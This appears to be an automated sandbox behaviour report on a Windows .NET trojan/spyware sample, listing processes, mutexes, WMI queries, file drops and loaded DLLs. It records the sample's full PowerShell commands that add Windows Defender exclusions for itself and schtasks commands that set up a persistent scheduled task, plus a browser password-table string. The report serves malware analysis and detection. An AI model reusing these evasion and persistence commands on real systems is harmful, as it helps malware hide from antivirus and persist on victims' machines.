Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, UjapGcaBaYOORK0HUJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: _0020.SetAccessControl
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/103@1/1

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

File created: C:\Users\user\AppData\Roaming\LjGABleGAy.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_03
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Mutant created: \Sessions\1\BaseNamedObjects\VROxcSBtqecTiNgSFAqIBtbkTc

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

File created: C:\Users\user\AppData\Local\Temp\tmp3B03.tmp

Jump to behavior

Source: RgIbrhxoEx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RgIbrhxoEx.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2351084802.0000000006D61000.00000004.00000020.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000003030000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002FBC000.00000004.00000800.00020000.00000000.sdmp, tmpD070.tmp.8.dr, tmpFAF9.tmp.8.dr, tmp53DB.tmp.14.dr, tmpD03D.tmp.8.dr, tmpD04E.tmp.8.dr, tmp2AD0.tmp.14.dr, tmp1CF9.tmp.14.dr, tmp30F2.tmp.8.dr, tmp30E1.tmp.8.dr, tmp1CC9.tmp.14.dr, tmp539B.tmp.14.dr, tmpD060.tmp.8.dr, tmp1D28.tmp.14.dr, tmp5F51.tmp.14.dr, tmpD03E.tmp.8.dr, tmp5F72.tmp.14.dr, tmp5F40.tmp.14.dr, tmpFAE9.tmp.8.dr, tmp2B00.tmp.14.dr, tmp53CB.tmp.14.dr, tmp5F61.tmp.14.dr, tmp30D1.tmp.8.dr, tmpD05F.tmp.8.dr, tmp30C0.tmp.8.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: RgIbrhxoEx.exe	ReversingLabs: Detection: 83%
Source: RgIbrhxoEx.exe	Virustotal: Detection: 43%

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

File read: C:\Users\user\Desktop\RgIbrhxoEx.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RgIbrhxoEx.exe "C:\Users\user\Desktop\RgIbrhxoEx.exe"
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Users\user\Desktop\RgIbrhxoEx.exe "C:\Users\user\Desktop\RgIbrhxoEx.exe"
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\LjGABleGAy.exe C:\Users\user\AppData\Roaming\LjGABleGAy.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process created: C:\Users\user\AppData\Roaming\LjGABleGAy.exe "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Users\user\Desktop\RgIbrhxoEx.exe "C:\Users\user\Desktop\RgIbrhxoEx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp"
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process created: C:\Users\user\AppData\Roaming\LjGABleGAy.exe "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Section loaded: slc.dll
